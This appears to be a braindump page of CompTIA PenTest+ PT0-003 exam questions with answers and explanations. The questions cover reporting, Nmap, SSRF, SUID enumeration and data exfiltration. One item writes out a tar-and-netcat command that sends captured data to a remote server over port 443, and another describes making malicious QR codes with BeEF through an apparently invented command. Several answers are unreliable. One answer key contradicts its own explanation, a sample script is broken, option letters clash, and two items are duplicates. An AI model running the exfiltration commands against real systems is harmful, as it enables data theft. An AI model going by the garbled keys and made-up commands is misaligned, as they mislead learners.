[2026] PT0-003 by CompTIA PenTest+ Actual Free Exam Practice Test
Free CompTIA PenTest+ PT0-003 Exam Question
NEW QUESTION # 80
Which of the following components should a penetration tester include in an assessment report?
- A. Key management
- B. Attack narrative
- C. User activities
- D. Customer remediation plan
Answer: B
Explanation:
An attack narrative is a crucial part of a penetration testing report. It explains how the tester was able to exploit vulnerabilities, providing a story-like structure of the attack path taken. This helps the client understand the sequence of actions, from initial access to potential compromise, and the real-world impact.
The attack narrative often includes:
* Initial access methods
* Privilege escalation steps
* Lateral movement within the network
* Data exfiltration scenarios
* Tools and techniques used
According to the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 11: Reporting and Communication):
"The attack narrative should be a detailed timeline of the tester's actions, findings, and techniques used during the assessment. It allows technical and non-technical stakeholders to understand the context of the findings."
NEW QUESTION # 81
A penetration tester performs several Nmap scans against the web application for a client.
INSTRUCTIONS
Click on the WAF and servers to review the results of the Nmap scans. Then click on each tab to select the appropriate vulnerability and remediation options.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
A screenshot of a computer Description automatically generated
A screenshot of a computer screen Description automatically generated
Most likely vulnerability: Perform a SSRF attack against App01.example.com from CDN.example.com.
The scenario suggests that the CDN network (with a WAF) can be used to perform a Server-Side Request Forgery (SSRF) attack. Since the penetration tester has the pentester workstation interacting through the CDN
/WAF and the production network is behind it, the most plausible attack vector is to exploit SSRF to interact with the internal services like App01.example.com.
Two best remediation options:
* Restrict direct communications to App01.example.com to only approved components.
* Require an additional authentication header value between CDN.example.com and App01.example.com.
* Restrict direct communications to App01.example.com to only approved components: This limits the exposure of the application server by ensuring that only specified, trusted entities can communicate with it.
* Require an additional authentication header value between CDN.example.com and App01.example.
com: Adding an authentication layer between the CDN and the app server helps ensure that requests are legitimate and originate from trusted sources, mitigating SSRF and other indirect attack vectors.
Nmap Scan Observations:
* CDN/WAF shows open ports for HTTP and HTTPS but filtered for MySQL, indicating it acts as a filtering layer.
* App Server has open ports for HTTP, HTTPS, and filtered for MySQL.
* DB Server has all ports filtered, typical for a database server that should not be directly accessible.
These findings align with the SSRF vulnerability and the appropriate remediation steps to enhance the security of internal communications.
NEW QUESTION # 82
A penetration tester runs a vulnerability scan that identifies several issues across numerous customer hosts.
The executive report outlines the following:
The client is concerned about the availability of its consumer-facing production application. Which of the following hosts should the penetration tester select for additional manual testing?
- A. Server 2
- B. Server 3
- C. Server 1
- D. Server 4
Answer: B
Explanation:
Since the client is worried about the availability of their consumer-facing application, the perimeter network web server (Server 3) is the most critical because:
* It is internet-facing, making it a prime target for attackers.
* A compromise could lead to data breaches, downtime, or service disruptions.
* Even though it has fewer vulnerabilities (14 vs. 92 on QA server), its exposure is higher.
* Option A (Development sandbox server) #: Internal and not publicly accessible.
* Option B (Back-office file transfer server) #: Important, but not consumer-facing.
* Option C (Perimeter web server) #: Correct. Publicly accessible and critical to operations.
* Option D (Developer QA server) #: May have more vulnerabilities, but it's less critical.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - Prioritizing Vulnerability Testing
NEW QUESTION # 83
A penetration tester wants to create a malicious QR code to assist with a physical security assessment. Which of the following tools has the built-in functionality most likely needed for this task?
- A. BeEF
- B. ZAP
- C. Evilginx
- D. John the Ripper
Answer: A
Explanation:
BeEF (Browser Exploitation Framework) is a penetration testing tool that focuses on web browsers. It has built-in functionality for generating malicious QR codes, which can be used to direct users to malicious websites, execute browser-based attacks, or gather information.
Step-by-Step Explanation
Understanding BeEF:
Purpose: BeEF is designed to exploit vulnerabilities in web browsers and gather information from compromised browsers.
Features: Includes tools for generating malicious payloads, QR codes, and social engineering techniques.
Creating Malicious QR Codes:
Functionality: BeEF has a feature to generate QR codes that, when scanned, redirect the user to a malicious URL controlled by the attacker.
Command: Generate a QR code that directs to a BeEF hook URL.
beef -x --qr
Usage in Physical Security Assessments:
Deployment: Place QR codes in strategic locations to test whether individuals scan them and subsequently compromise their browsers.
Exploitation: Once scanned, the QR code can lead to browser exploitation, information gathering, or other payload execution.
Reference from Pentesting Literature:
BeEF is commonly discussed in penetration testing guides for its browser exploitation capabilities.
HTB write-ups and social engineering exercises often mention the use of BeEF for creating malicious QR codes and exploiting browser vulnerabilities.
Reference:
Penetration Testing - A Hands-on Introduction to Hacking
HTB Official Writeups
NEW QUESTION # 84
When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character combinations should be used on the first line of the script to accomplish this goal?
- A. ##
- B. <#
- C. #$
- D. <$
- E. #!
Answer: E
Explanation:
Reference: https://linuxconfig.org/bash-scripting-tutorial-for-beginners
#!/bin/bash ---# and ! makes this line special because # is used as comment line in bash. ! is called
NEW QUESTION # 85
A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?
- A. John the Ripper
- B. Cain and Abel
- C. Hydra
- D. Mimikatz
Answer: A
Explanation:
Reference: https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/
NEW QUESTION # 86
A penetration tester writes the following script to enumerate a /24 network:
1 #!/bin/bash
2 for i in {1..254}
3 ping -c1 192.168.1.$i
4 done
The tester executes the script, but it fails with the following error:
-bash: syntax error near unexpected token 'ping'
Which of the following should the tester do to fix the error?
- A. Replace {1..254} with $(seq 1 254)
- B. Replace $i with ${i}
- C. Add do after line 2
- D. Replace bash with zsh
Answer: A
Explanation:
The missing do keyword is the reason for the syntax error. Bash for loops must include a do statement before executing commands within the loop.
Corrected script:
#!/bin/bash
for i in {1..254}; do
ping -c1 192.168.1.$i
done
From the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 4 - Scanning and Enumeration):
"In Bash scripting, control structures like for-loops require correct syntax, including the 'do' keyword for loop logic to execute properly." Reference: Chapter 4, CompTIA PenTest+ PT0-003 Official Study Guide
NEW QUESTION # 87
SIMULATION
Using the output, identify potential attack vectors that should be further investigated.
Answer:
Explanation:
1: Null session enumeration
Weak SMB file permissions
Fragmentation attack
2: nmap
-sV
-p 1-1023
192.168.2.2
3: #!/usr/bin/python
export $PORTS = 21,22
for $PORT in $PORTS:
try:
s.connect((ip, port))
print("%s:%s - OPEN" % (ip, port))
except socket.timeout
print("%:%s - TIMEOUT" % (ip, port))
except socket.error as e:
print("%:%s - CLOSED" % (ip, port))
finally
s.close()
port_scan(sys.argv[1], ports)
NEW QUESTION # 88
Which of the following is within the scope of proper handling and most crucial when working on a penetration testing report?
- A. Keeping the report to a maximum of 5 to 10 pages in length
- B. Basing the recommendation on the risk score in the report
- C. Keeping both video and audio of everything that is done
- D. Making the report clear for all objectives with a precise executive summary
Answer: D
Explanation:
Importance of a Clear Executive Summary:
The executive summary is essential because it provides decision-makers with a concise overview of the findings, risks, and recommendations without requiring deep technical knowledge.
Clarity in objectives ensures that all stakeholders understand the purpose, scope, and outcomes of the test.
Why Not Other Options?
A: Keeping video and audio records is helpful during testing but not typically included in the final report for handling purposes.
B: Limiting the report to 5-10 pages may compromise its comprehensiveness and omit critical details.
C: Recommendations based solely on the risk score may not address the broader context or organizational priorities.
CompTIA Pentest+ Reference:
Domain 5.0 (Reporting and Communication)
NEW QUESTION # 89
curl -s -i https://internalapp/
HTTP/2 302
date: Thu, 11 Jan 2024 15:56:24 GMT
content-type: text/html; charset=iso-8659-1
location: /login
x-content-type-options: nosniff
server: Prod
Which of the following recommendations should the penetration tester include in the report?
- A. Remove the x-content-type-options header.
- B. Attach the httponly flag to cookies.
- C. Add the HSTS header to the server.
- D. Front the web application with a firewall rule to block access to port 80.
Answer: C
Explanation:
The tester identified an HTTPS downgrade attack (e.g., SSL stripping). The best mitigation is to enforce HSTS (HTTP Strict Transport Security).
* HSTS (Option A):
* HSTS (Strict-Transport-Security) ensures that the browser always uses HTTPS, preventing downgrade attacks.
* Example header:
Strict-Transport-Security: max-age=31536000; includeSubDomains
NEW QUESTION # 90
A penetration tester runs the following command on a system:
find / -user root -perm -4000 -print 2>/dev/null
Which of the following is the tester trying to accomplish?
- A. Set the SGID on all files in the / directory
- B. Find files that were created during exploitation and move them to /dev/null
- C. Find the /root directory on the system
- D. Find files with the SUID bit set
Answer: D
Explanation:
the 2>/dev/null is output redirection, it simply sends all the error messages to infinity and beyond preventing any error messages to appear in the terminal session.
The tester is trying to find files with the SUID bit set on the system. The SUID (set user ID) bit is a special permission that allows a file to be executed with the privileges of the file owner, regardless of who runs it.
This can be used to perform privileged operations or access restricted resources. A penetration tester can use the find command with the -user and -perm options to search for files owned by a specific user (such as root) and having a specific permission (such as 4000, which indicates the SUID bit is set).
NEW QUESTION # 91
Which of the following OT protocols sends information in cleartext?
- A. DNP3
- B. Modbus
- C. PROFINET
- D. TTEthernet
Answer: B
Explanation:
Operational Technology (OT) protocols are used in industrial control systems (ICS) to manage and automate physical processes. Here's an analysis of each protocol regarding whether it sends information in cleartext:
* TTEthernet (Option A):
* Explanation: TTEthernet (Time-Triggered Ethernet) is designed for real-time communication and safety-critical systems.
* Security: It includes mechanisms for reliable and deterministic data transfer, not typically sending information in cleartext.
* DNP3 (Option B):
* Explanation: DNP3 (Distributed Network Protocol) is used in electric and water utilities for SCADA (Supervisory Control and Data Acquisition) systems.
* Security: While the original DNP3 protocol transmits data in cleartext, the DNP3 Secure Authentication extensions provide cryptographic security features.
* Modbus
* Explanation: Modbus is a communication protocol used in industrial environments for transmitting data between electronic devices.
* Security: Modbus transmits data in cleartext, which makes it susceptible to interception and unauthorized access.
* References: The lack of security features in Modbus, such as encryption, is well-documented and a known vulnerability in ICS environments.
* PROFINET (Option D):
* Explanation: PROFINET is a standard for industrial networking in automation.
* Security: PROFINET includes several security features, including support for encryption, which means it doesn't necessarily send information in cleartext.
Conclusion: Modbus is the protocol that most commonly sends information in cleartext, making it vulnerable to eavesdropping and interception.
NEW QUESTION # 92
Which of the following is within the scope of proper handling and most crucial when working on a penetration testing report?
- A. Keeping the report to a maximum of 5 to 10 pages in length
- B. Basing the recommendation on the risk score in the report
- C. Keeping both video and audio of everything that is done
- D. Making the report clear for all objectives with a precise executive summary
Answer: D
Explanation:
* Importance of a Clear Executive Summary:
* The executive summary is essential because it provides decision-makers with a concise overview of the findings, risks, and recommendations without requiring deep technical knowledge.
* Clarity in objectives ensures that all stakeholders understand the purpose, scope, and outcomes of the test.
* Why Not Other Options?
* A: Keeping video and audio records is helpful during testing but not typically included in the final report for handling purposes.
* B: Limiting the report to 5-10 pages may compromise its comprehensiveness and omit critical details.
* C: Recommendations based solely on the risk score may not address the broader context or organizational priorities.
CompTIA Pentest+ References:
* Domain 5.0 (Reporting and Communication)
NEW QUESTION # 93
A tester is working on an engagement that has evasion and stealth requirements. Which of the following enumeration methods is the least likely to be detected by the IDS?
- A. nmap -sV -T2 <target>
- B. proxychains nmap -sV -T2 <target>
- C. for i in <target>; do curl -k $i; done
- D. curl https://api.shodan.io/shodan/host/search?key=<API_KEY>&query=hostname:<target>
Answer: D
Explanation:
Option A uses Shodan's API to gather information about a target without directly touching the target system.
This makes it the stealthiest option as there's no traffic generated from the tester's IP to the target.
Options B & D use Nmap which is active scanning, and while -T2 reduces intensity, it still generates packets.
Option C is a custom curl script that also interacts directly with the target and can trigger IDS alerts.
CompTIA PenTest+ Reference:
PT0-003 Objective 2.1 & 2.3: Passive vs Active reconnaissance techniques.
Using OSINT sources like Shodan is a key stealth recon method.
NEW QUESTION # 94
During a vulnerability scanning phase, a penetration tester wants to execute an Nmap scan using custom NSE scripts stored in the following folder:
/home/user/scripts
Which of the following commands should the penetration tester use to perform this scan?
- A. nmap script default safe
- B. nmap script /home/user/scripts
- C. nmap -load /home/user/scripts
- D. nmap resume "not intrusive"
Answer: B
Explanation:
The Nmap command in the question aims to use custom NSE scripts stored in a specific folder. The correct syntax for this option is to use the script argument followed by the path to the folder. The other commands are either invalid, use the wrong argument, or do not specify the folder path. References: Best PenTest+ certification study resources and training materials, CompTIA PenTest+ PT0-002 Cert Guide, 101 Labs - CompTIA PenTest+: Hands-on Labs for the PT0-002 Exam
NEW QUESTION # 95
A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:
Action | SRC
| DEST
| --
Block | 192.168.10.0/24 : 1-65535 | 10.0.0.0/24 : 22 | TCP
Allow | 0.0.0.0/0 : 1-65535 | 192.168.10.0/24:443 | TCP
Allow | 192.168.10.0/24 : 1-65535 | 0.0.0.0/0:443 | TCP
Block | . | . | *
Which of the following commands should the tester try next?
- A. gzip /path/to/data && cp data.gz <remote_server> 443
- B. tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz
- C. tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>
- D. gzip /path/to/data && nc -nvlk 443; cat data.gz ' nc -w 3 <remote_server> 22
Answer: B
Explanation:
Given the firewall policy, let's analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:
Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).
Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).
Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).
Block: All other traffic (*).
Breakdown of Options:
Option A: tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz This command compresses the data into a tar.gz file and uses nc (netcat) to send it to a remote server on port
443.
Since the firewall allows outbound connections on port 443 (both within and outside the subnet 192.168.10.0
/24), this command adheres to the policy and is the correct choice.
Option B: gzip /path/to/data && cp data.gz <remote_server> 443
This command compresses the data but attempts to copy it directly to a server, which is not a valid command.
The cp command does not support network operations in this manner.
Option C: gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3 <remote_server> 22 This command attempts to listen on port 443 and then send data over port 22. However, outbound connections to port 22 are blocked by the firewall, making this command invalid.
Option D: tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server> This command uses scp to copy the file, which typically uses port 22 for SSH. Since the firewall blocks port
22, this command will not work.
References from Pentest:
Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A.
Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc.
Horizontall HTB: Highlights the importance of using allowed services and ports for data exfiltration. The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.
NEW QUESTION # 96
A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective?
- A. Scapy
- B. tcpdump
- C. Socat
- D. dig
Answer: A
Explanation:
https://thepacketgeek.com/scapy/building-network-tools/part-09/
NEW QUESTION # 97
While conducting a reconnaissance activity, a penetration tester extracts the following information:
Emails: - [email protected] - [email protected] - [email protected]
Which of the following risks should the tester use to leverage an attack as the next step in the security assessment?
- A. Unauthorized access to the network
- B. Indication of a data breach in the company
- C. Likelihood of SQL injection attacks
- D. Exposure of sensitive servers to the internet
Answer: A
Explanation:
When a penetration tester identifies email addresses during reconnaissance, the most immediate risk to leverage for an attack is unauthorized access to the network.
Phishing Attacks:
Email addresses are often used to conduct phishing attacks. By crafting a convincing email, an attacker can trick the recipient into revealing their login credentials or downloading malicious software, thereby gaining unauthorized access to the network.
Spear Phishing:
With specific email addresses (like [email protected]), attackers can perform spear phishing, targeting key individuals within the organization to gain access to more sensitive parts of the network.
NEW QUESTION # 98
A penetration tester is performing reconnaissance for a web application assessment. Upon investigation, the tester reviews the robots.txt file for items of interest.
INSTRUCTIONS
Select the tool the penetration tester should use for further investigation.
Select the two entries in the robots.txt file that the penetration tester should recommend for removal.
Answer:
Explanation:
Explanation:
The tool that the penetration tester should use for further investigation is WPScan. This is because WPScan is a WordPress vulnerability scanner that can detect common WordPress security issues, such as weak passwords, outdated plugins, and misconfigured settings. WPScan can also enumerate WordPress users, themes, and plugins from the robots.txt file.
The two entries in the robots.txt file that the penetration tester should recommend for removal are:
Allow: /admin
Allow: /wp-admin
These entries expose the WordPress admin panel, which can be a target for brute-force attacks, SQL injection, and other exploits. Removing these entries can help prevent unauthorized access to the web application's backend. Alternatively, the penetration tester can suggest renaming the admin panel to a less obvious name, or adding authentication methods such as two-factor authentication or IP whitelisting.
NEW QUESTION # 99
......
CompTIA PT0-003 Actual Questions and Braindumps: https://freetorrent.itpass4sure.com/PT0-003-practice-exam.html
